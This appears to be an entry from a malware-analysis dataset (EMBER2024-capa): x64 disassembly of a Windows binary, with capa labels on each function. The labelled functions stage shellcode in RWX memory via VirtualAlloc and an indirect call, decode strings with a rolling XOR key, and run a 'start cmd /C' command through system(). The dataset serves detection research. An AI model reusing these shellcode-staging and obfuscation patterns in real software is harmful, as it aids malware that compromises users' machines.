joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140045120
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbx
sub rsp, 0xa0
mov rax, qword [0x1400d6080]
xor rax, rsp
mov qword [rsp + 0x70], rax
mov rbx, qword [0x1400d73e8]
test rbx, rbx
je 0x140045351
mov rcx, rbx
call fcn.140044540
test al, al
je 0x140045351
movaps xmmword [rsp + 0x90], xmm6
lea rcx, [rsp + 0x20]
mov r8d, 0x42
movaps xmmword [rsp + 0x80], xmm7
mov rdx, rbx
call fcn.1400442f0
movups xmm0, xmmword [rsp + 0x20]
lea rdx, [rsp + 0x40]
movsd xmm1, qword [rsp + 0x30]
lea rcx, [rsp + 0x20]
movaps xmmword [rsp + 0x40], xmm0
movsd qword [rsp + 0x50], xmm1
call fcn.140043f90
movsd xmm6, qword [rsp + 0x20]
xorps xmm4, xmm4
ucomisd xmm6, xmm4
movss xmm7, dword [0x1400d60b4]
xorps xmm3, xmm3
xorps xmm2, xmm2
jp 0x1400451bf
je 0x140045226
mov eax, dword [0x1400d7460]
movd xmm5, eax
cvtdq2pd xmm5, xmm5
comisd xmm6, xmm5
jbe 0x140045202
movaps xmm3, xmm5
add eax, eax
subsd xmm3, xmm6
cvtps2pd xmm0, xmm7
xorps xmm3, xmmword [0x1400c5ed0]
divsd xmm3, xmm0
movd xmm0, eax
movaps xmm1, xmm3
cvtdq2pd xmm0, xmm0
addsd xmm1, xmm5
comisd xmm1, xmm0
jbe 0x140045202
xorps xmm3, xmm3
comisd xmm5, xmm6
jbe 0x140045226
movaps xmm3, xmm6
cvtps2pd xmm0, xmm7
subsd xmm3, xmm5
divsd xmm3, xmm0
movaps xmm0, xmm3
addsd xmm0, xmm5
comisd xmm4, xmm0
jbe 0x140045226
xorps xmm3, xmm3
movsd xmm5, qword [rsp + 0x28]
ucomisd xmm5, xmm4
jp 0x140045234
je 0x14004529b
mov eax, dword [0x1400d7468]
movd xmm6, eax
cvtdq2pd xmm6, xmm6
comisd xmm5, xmm6
jbe 0x140045277
movaps xmm2, xmm6
add eax, eax
subsd xmm2, xmm5
cvtps2pd xmm0, xmm7
xorps xmm2, xmmword [0x1400c5ed0]
divsd xmm2, xmm0
movd xmm0, eax
movaps xmm1, xmm2
cvtdq2pd xmm0, xmm0
addsd xmm1, xmm6
comisd xmm1, xmm0
jbe 0x140045277
xorps xmm2, xmm2
comisd xmm6, xmm5
jbe 0x14004529b
movaps xmm2, xmm5
cvtps2pd xmm0, xmm7
subsd xmm2, xmm6
divsd xmm2, xmm0
movaps xmm0, xmm2
addsd xmm0, xmm6
comisd xmm4, xmm0
jbe 0x14004529b
xorps xmm2, xmm2
xor eax, eax
mov qword [rsp + 0x54], 0x4001
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x5c], rax
mov edx, 0x1000
mov dword [rsp + 0x64], eax
mov r8d, edx
mov dword [rsp + 0x50], eax
cvttsd2si eax, xmm3
lea r9d, [rcx + 0x40]
mov dword [rsp + 0x48], eax
cvttsd2si eax, xmm2
mov dword [rsp + 0x4c], eax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
movaps xmm7, xmmword [rsp + 0x80]
mov rbx, rax
movaps xmm6, xmmword [rsp + 0x90]
test rax, rax
je 0x140045351
movups xmm0, xmmword [0x1400d7398]
mov r8d, Ordinal_41
lea rdx, [rsp + 0x40]
movups xmmword [rax], xmm0
movsd xmm1, qword [0x1400d73a8]
movsd qword [rax + 0x10], xmm1
mov ecx, dword [0x1400d73b0]
mov dword [rax + 0x18], ecx
movzx ecx, word [0x1400d73b4]
mov word [rax + 0x1c], cx
lea ecx, [r8 - 0x27]
call rbx
xor edx, edx
mov r8d, 0x1000
mov rcx, rbx
call sub.VCRUNTIME140.dll_memset
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.1400ac630
add rsp, 0xa0
pop rbx
ret
Function at 0x14004b100
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x50
mov rbx, rcx
mov qword [rsp + 0x48], rcx
xor edi, edi
cmp byte [r8 + 7], dil
je 0x14004b134
mov eax, edi
nop dword [rax]
lea ecx, [rax + 0x34]
xor byte [r8 + rax], cl
inc rax
cmp rax, 6
jb 0x14004b120
mov byte [r8 + 7], dil
lea rax, [r8 + 6]
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x38], reloc.WS2_32.dll_ntohs
cmp r8, rax
jne 0x14004b164
mov qword [rsp + 0x30], rdi
mov byte [rsp + 0x20], dil
jmp 0x14004b17e
mov qword [rsp + 0x30], 6
mov eax, dword [r8]
mov dword [rsp + 0x20], eax
movzx eax, word [r8 + 4]
mov word [rsp + 0x24], ax
mov r9, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x14004b18c
mov rdx, qword [rdx]
mov r8, rdx
xor edx, edx
lea rcx, [rsp + 0x20]
call fcn.140057de0
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rdi
movups xmm0, xmmword [rax]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbx + 0x10], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x38]
cmp rdx, 0x10
jb 0x14004b206
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004b201
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004b201
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400ac9bc
mov rax, rbx
mov rbx, qword [rsp + 0x78]
add rsp, 0x50
pop rdi
ret
Function at 0x14004b220
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x50
mov rbx, rcx
mov qword [rsp + 0x48], rcx
xor edi, edi
cmp byte [r8 + 9], dil
je 0x14004b254
mov eax, edi
nop dword [rax]
lea ecx, [rax + 0x34]
xor byte [r8 + rax], cl
inc rax
cmp rax, 8
jb 0x14004b240
mov byte [r8 + 9], dil
lea rax, [r8 + 8]
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x38], reloc.WS2_32.dll_ntohs
cmp r8, rax
jne 0x14004b284
mov qword [rsp + 0x30], rdi
mov byte [rsp + 0x20], dil
jmp 0x14004b295
mov qword [rsp + 0x30], 8
mov rax, qword [r8]
mov qword [rsp + 0x20], rax
mov r9, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x14004b2a3
mov rdx, qword [rdx]
mov r8, rdx
xor edx, edx
lea rcx, [rsp + 0x20]
call fcn.140057de0
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rdi
movups xmm0, xmmword [rax]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbx + 0x10], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x38]
cmp rdx, 0x10
jb 0x14004b31d
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004b318
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004b318
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400ac9bc
mov rax, rbx
mov rbx, qword [rsp + 0x78]
add rsp, 0x50
pop rdi
ret
Function at 0x14004b330
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
mov rbp, rsp
sub rsp, 0x80
mov rbx, rcx
mov qword [rbp - 0x10], rcx
xor r9d, r9d
cmp byte [r8 + 6], r9b
je 0x14004b374
mov ecx, r9d
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x34]
xor byte [r8 + rcx], al
inc rcx
cmp rcx, 5
jb 0x14004b360
mov byte [r8 + 6], r9b
lea rax, [r8 + 5]
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
mov qword [rbp - 0x28], r9
mov qword [rbp - 0x20], r9
mov qword [rbp - 0x20], reloc.WS2_32.dll_ntohs
cmp r8, rax
jne 0x14004b39e
mov qword [rbp - 0x28], r9
mov byte [rbp - 0x38], r9b
jmp 0x14004b3b4
mov qword [rbp - 0x28], 5
mov eax, dword [r8]
mov dword [rbp - 0x38], eax
movzx eax, byte [r8 + 4]
mov byte [rbp - 0x34], al
cmp byte [rdx + 0xa], 0
je 0x14004b3d3
mov rcx, r9
nop dword [rax]
lea eax, [rcx + 0x34]
xor byte [rdx + rcx], al
inc rcx
cmp rcx, 9
jb 0x14004b3c0
mov byte [rdx + 0xa], 0
lea rax, [rdx + 9]
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x48], r9
mov qword [rbp - 0x40], r9
mov qword [rbp - 0x40], reloc.WS2_32.dll_ntohs
cmp rdx, rax
jne 0x14004b3fd
mov qword [rbp - 0x48], r9
mov byte [rbp - 0x58], 0
jmp 0x14004b415
mov qword [rbp - 0x48], 9
movsd xmm0, qword [rdx]
movsd qword [rbp - 0x58], xmm0
movzx eax, byte [rdx + 8]
mov byte [rbp - 0x50], al
lea r9, [rbp - 0x38]
lea r8, [rbp - 0x58]
movzx edx, byte [rbp - 0x60]
mov rcx, rbx
call fcn.1400516d0
nop
mov rdx, qword [rbp - 0x40]
cmp rdx, 0x10
jb 0x14004b469
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004b463
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004b463
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400ac9bc
nop
mov rdx, qword [rbp - 0x20]
cmp rdx, 0x10
jb 0x14004b4a7
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004b4a2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004b4a2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400ac9bc
mov rax, rbx
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rbp
ret
Function at 0x14004b4c0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x50
mov rbx, rcx
mov qword [rsp + 0x48], rcx
xor edi, edi
cmp byte [r8 + 0xa], dil
je 0x14004b4f4
mov eax, edi
nop dword [rax]
lea ecx, [rax + 0x34]
xor byte [r8 + rax], cl
inc rax
cmp rax, 9
jb 0x14004b4e0
mov byte [r8 + 0xa], dil
lea rax, [r8 + 9]
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x38], reloc.WS2_32.dll_ntohs
cmp r8, rax
jne 0x14004b524
mov qword [rsp + 0x30], rdi
mov byte [rsp + 0x20], dil
jmp 0x14004b541
mov qword [rsp + 0x30], 9
movsd xmm0, qword [r8]
movsd qword [rsp + 0x20], xmm0
movzx eax, byte [r8 + 8]
mov byte [rsp + 0x28], al
mov r9, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x14004b54f
mov rdx, qword [rdx]
mov r8, rdx
xor edx, edx
lea rcx, [rsp + 0x20]
call fcn.140057de0
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rdi
movups xmm0, xmmword [rax]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbx + 0x10], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x38]
cmp rdx, 0x10
jb 0x14004b5c9
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004b5c4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004b5c4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400ac9bc
mov rax, rbx
mov rbx, qword [rsp + 0x78]
add rsp, 0x50
pop rdi
ret
Function at 0x14004b5e0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x50
mov rbx, rcx
mov qword [rsp + 0x48], rcx
xor edi, edi
cmp byte [r8 + 0xc], dil
je 0x14004b614
mov eax, edi
nop dword [rax]
lea ecx, [rax + 0x34]
xor byte [r8 + rax], cl
inc rax
cmp rax, 0xb
jb 0x14004b600
mov byte [r8 + 0xc], dil
lea rax, [r8 + 0xb]
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x38], reloc.WS2_32.dll_ntohs
cmp r8, rax
jne 0x14004b644
mov qword [rsp + 0x30], rdi
mov byte [rsp + 0x20], dil
jmp 0x14004b66b
mov qword [rsp + 0x30], recv
movsd xmm0, qword [r8]
movsd qword [rsp + 0x20], xmm0
movzx eax, word [r8 + 8]
mov word [rsp + 0x28], ax
movzx eax, byte [r8 + 0xa]
mov byte [rsp + 0x2a], al
mov r9, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x14004b679
mov rdx, qword [rdx]
mov r8, rdx
xor edx, edx
lea rcx, [rsp + 0x20]
call fcn.140057de0
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rdi
movups xmm0, xmmword [rax]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbx + 0x10], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x38]
cmp rdx, 0x10
jb 0x14004b6f3
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004b6ee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004b6ee
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400ac9bc
mov rax, rbx
mov rbx, qword [rsp + 0x78]
add rsp, 0x50
pop rdi
ret
Function at 0x14004b710
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
mov rbp, rsp
sub rsp, 0x80
mov rbx, rcx
mov qword [rbp - 0x10], rcx
xor r9d, r9d
cmp byte [r8 + 6], r9b
je 0x14004b754
mov ecx, r9d
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x34]
xor byte [r8 + rcx], al
inc rcx
cmp rcx, 5
jb 0x14004b740
mov byte [r8 + 6], r9b
lea rax, [r8 + 5]
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
mov qword [rbp - 0x28], r9
mov qword [rbp - 0x20], r9
mov qword [rbp - 0x20], reloc.WS2_32.dll_ntohs
cmp r8, rax
jne 0x14004b77e
mov qword [rbp - 0x28], r9
mov byte [rbp - 0x38], r9b
jmp 0x14004b794
mov qword [rbp - 0x28], 5
mov eax, dword [r8]
mov dword [rbp - 0x38], eax
movzx eax, byte [r8 + 4]
mov byte [rbp - 0x34], al
cmp byte [rdx + 0xd], 0
je 0x14004b7b3
mov rcx, r9
nop dword [rax]
lea eax, [rcx + 0x34]
xor byte [rdx + rcx], al
inc rcx
cmp rcx, 0xc
jb 0x14004b7a0
mov byte [rdx + 0xd], 0
lea rax, [rdx + 0xc]
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x48], r9
mov qword [rbp - 0x40], r9
mov qword [rbp - 0x40], reloc.WS2_32.dll_ntohs
cmp rdx, rax
jne 0x14004b7dd
mov qword [rbp - 0x48], r9
mov byte [rbp - 0x58], 0
jmp 0x14004b7f4
mov qword [rbp - 0x48], recv
movsd xmm0, qword [rdx]
movsd qword [rbp - 0x58], xmm0
mov eax, dword [rdx + 8]
mov dword [rbp - 0x50], eax
lea r9, [rbp - 0x38]
lea r8, [rbp - 0x58]
movzx edx, byte [rbp - 0x60]
mov rcx, rbx
call fcn.1400516d0
nop
mov rdx, qword [rbp - 0x40]
cmp rdx, 0x10
jb 0x14004b848
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004b842
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004b842
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400ac9bc
nop
mov rdx, qword [rbp - 0x20]
cmp rdx, 0x10
jb 0x14004b886
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004b881
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004b881
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400ac9bc
mov rax, rbx
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rbp
ret

Function at 0x140052910
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
xor eax, eax
mov rbx, rdx
cmp byte [rcx + 9], al
je 0x140052933
lea edx, [rax + 0x34]
xor byte [rax + rcx], dl
inc rax
cmp rax, 8
jb 0x140052920
mov byte [rcx + 9], 0
lea r8, [rcx + 8]
mov rdx, rcx
mov rcx, rbx
lea r9, [rsp + 0x48]
call fcn.14004aaf0
mov rax, rbx
add rsp, 0x30
pop rbx
ret

Function at 0x140052950
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
xor eax, eax
mov rbx, rdx
cmp byte [rcx + 0x10], al
je 0x140052973
lea edx, [rax + 0x34]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0xf
jb 0x140052960
mov byte [rcx + 0x10], 0
lea r8, [rcx + 0xf]
mov rdx, rcx
mov rcx, rbx
lea r9, [rsp + 0x48]
call fcn.14004aaf0
mov rax, rbx
add rsp, 0x30
pop rbx
ret
Function at 0x140053d70
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 5], 0
je 0x140053d93
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x34]
xor byte [rax + rcx], dl
inc rax
cmp rax, 4
jb 0x140053d80
mov byte [rcx + 5], 0
mov rax, rcx
ret

Function at 0x140053da0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x136], 0
je 0x140053dc8
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x34]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x135
jb 0x140053db0
mov byte [rcx + 0x136], 0
mov rax, rcx
ret

Function at 0x140053dd0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x44], 0
je 0x140053df3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x34]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x43
jb 0x140053de0
mov byte [rcx + 0x44], 0
mov rax, rcx
ret

Function at 0x140053e00
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x47], 0
je 0x140053e23
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x34]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x46
jb 0x140053e10
mov byte [rcx + 0x47], 0
mov rax, rcx
ret
Function at 0x140055880
Capabilities:
Execute command

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x90
mov rax, qword [0x1400d6080]
xor rax, rsp
mov qword [rsp + 0x80], rax
mov rsi, rcx
mov qword [rsp + 0x78], rcx
mov r8, rcx
lea rdx, str.start_cmd__C__color_b__title_Error__echo
lea rcx, [rsp + 0x58]
call fcn.14004afa0
mov rdi, rax
mov rcx, qword [rax + 0x10]
mov rdx, qword [rax + 0x18]
mov rax, rdx
sub rax, rcx
cmp rax, 0x11
jb 0x14005590a
lea rax, [rcx + 0x11]
mov qword [rdi + 0x10], rax
mov rax, rdi
cmp rdx, 0x10
jb 0x1400558eb
mov rax, qword [rdi]
lea rbx, [rax + rcx]
mov r8d, reloc.WS2_32.dll_recvfrom
lea rdx, str.__timeout__t_5_
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x11], 0
jmp 0x14005592c
mov qword [rsp + 0x20], reloc.WS2_32.dll_recvfrom
lea r9, str.__timeout__t_5_
xor r8d, r8d
lea edx, [r8 + 0x11]
mov rcx, rdi
call fcn.14004ce40
mov rdi, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [rdi]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rdi + 0x10], 0
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdi], 0
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0x10
cmovae rcx, qword [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x1400559b8
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400559b3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400559b3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400ac9bc
movdqa xmm0, xmmword [0x1400c5d10]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x140055a0b
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140055a06
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140055a06
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400ac9bc
xor ecx, ecx
int 0x29
mov rdx, qword [rsi + 0x18]
cmp rdx, 0x10
jb 0x140055a45
inc rdx
mov rcx, qword [rsi]
cmp rdx, 0x1000
jb 0x140055a40
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140055a7d
mov rcx, r8
call fcn.1400ac9bc
mov qword [rsi + 0x10], 0
mov qword [rsi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rsi], 0
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.1400ac630
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x140062580
Capabilities:
Read file on windows

Disassembly:
sub rsp, 0x28
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__read]
cdqe
add rsp, 0x28
ret
Function at 0x140073d60
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
cmp qword [rcx + 0x718], 0
mov rsi, r9
mov rbp, r8
movsxd rbx, edx
mov rdi, rcx
je 0x140073dbe
mov dl, 1
call fcn.140064870
mov rax, qword [rdi + 0x670]
mov r9, rsi
mov r8, rbp
mov qword [rsp + 0x20], rax
mov edx, ebx
mov rcx, rdi
call qword [rdi + 0x718]
xor edx, edx
mov rcx, rdi
mov ebx, eax
call fcn.140064870
mov eax, ebx
jmp 0x140073e02
cmp ebx, 2
ja 0x140073e00
mov r9, qword [rdi + 0x668]
lea rdx, [0x1400b5580]
lea rcx, [rbx + rbx*2]
add rcx, rdx
mov edx, 2
lea r8d, [rdx - 1]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r9, qword [rdi + 0x668]
mov r8d, 1
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret

Function at 0x140073e20
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
push rdi
sub rsp, 0x160
mov rax, qword [0x1400d6080]
xor rax, rsp
mov qword [rsp + 0x140], rax
cmp byte [rcx + 0xf1e], 0
mov rdi, rcx
jne 0x140073e63
cmp qword [rcx + 0x678], 0
je 0x140073f40
mov r8, rdx
mov qword [rsp + 0x158], rbx
mov edx, 0x100
lea r9, [rsp + 0x180]
lea rcx, [rsp + 0x30]
call fcn.140062970
lea rax, [rsp + 0x30]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x140073e91
mov rcx, qword [rdi + 0x678]
test rcx, rcx
je 0x140073ed8
cmp byte [rdi + 0x1597], 0
jne 0x140073ed8
lea rdx, [rsp + 0x30]
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
mov byte [rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x140073ec0
mov byte [rdi + 0x1597], 1
cmp byte [rdi + 0xf1e], 0
je 0x140073f38
mov byte [rsp + rbx + 0x30], 0xa
inc rbx
cmp rbx, 0x102
jae 0x140073f93
cmp qword [rdi + 0x718], 0
mov byte [rsp + rbx + 0x30], 0
je 0x140073f59
mov dl, 1
mov rcx, rdi
call fcn.140064870
mov rax, qword [rdi + 0x670]
lea r8, [rsp + 0x30]
mov r9, rbx
mov qword [rsp + 0x20], rax
xor edx, edx
mov rcx, rdi
call qword [rdi + 0x718]
xor edx, edx
mov rcx, rdi
call fcn.140064870
mov rbx, qword [rsp + 0x158]
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.1400ac630
add rsp, 0x160
pop rdi
ret
mov r9, qword [rdi + 0x668]
lea rcx, [0x1400b5580]
mov edx, 2
lea r8d, [rdx - 1]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r9, qword [rdi + 0x668]
lea rcx, [rsp + 0x30]
mov r8d, 1
mov rdx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
jmp 0x140073f38
call fcn.1400ac758
int3
Function at 0x140073fa0
Capabilities:
Write file on windows

Disassembly:
test rcx, rcx
je 0x140074106
mov r11, rsp
mov qword [r11 + 0x10], rdx
mov qword [r11 + 0x18], r8
mov qword [r11 + 0x20], r9
push rdi
sub rsp, 0x860
mov rax, qword [0x1400d6080]
xor rax, rsp
mov qword [rsp + 0x840], rax
cmp byte [rcx + 0xf1e], 0
mov rdi, rcx
je 0x1400740ee
mov r8, rdx
mov qword [r11 - 0x10], rbx
mov edx, 0x801
lea r9, [r11 + 0x18]
lea rcx, [rsp + 0x30]
call fcn.140062970
movsxd rcx, eax
mov rbx, 0xffffffffffffffff
cmp rcx, 0x801
jb 0x140074061
mov rcx, qword [rsp + 0x878]
mov rax, rbx
nop word [rax + rax]
cmp byte [rcx + rax + 1], 0
lea rax, [rax + 1]
jne 0x140074020
cmp byte [rax + rcx - 1], 0xa
jne 0x140074048
lea r8, str...._n
mov edx, 5
lea rcx, [rsp + 0x82c]
jmp 0x14007405c
lea r8, [0x1400bf650]
mov edx, 4
lea rcx, [rsp + 0x82d]
call fcn.140062870
lea rax, [rsp + 0x30]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140074066
cmp qword [rdi + 0x718], 0
je 0x1400740ae
mov dl, 1
mov rcx, rdi
call fcn.140064870
mov rax, qword [rdi + 0x670]
lea r8, [rsp + 0x30]
mov r9, rbx
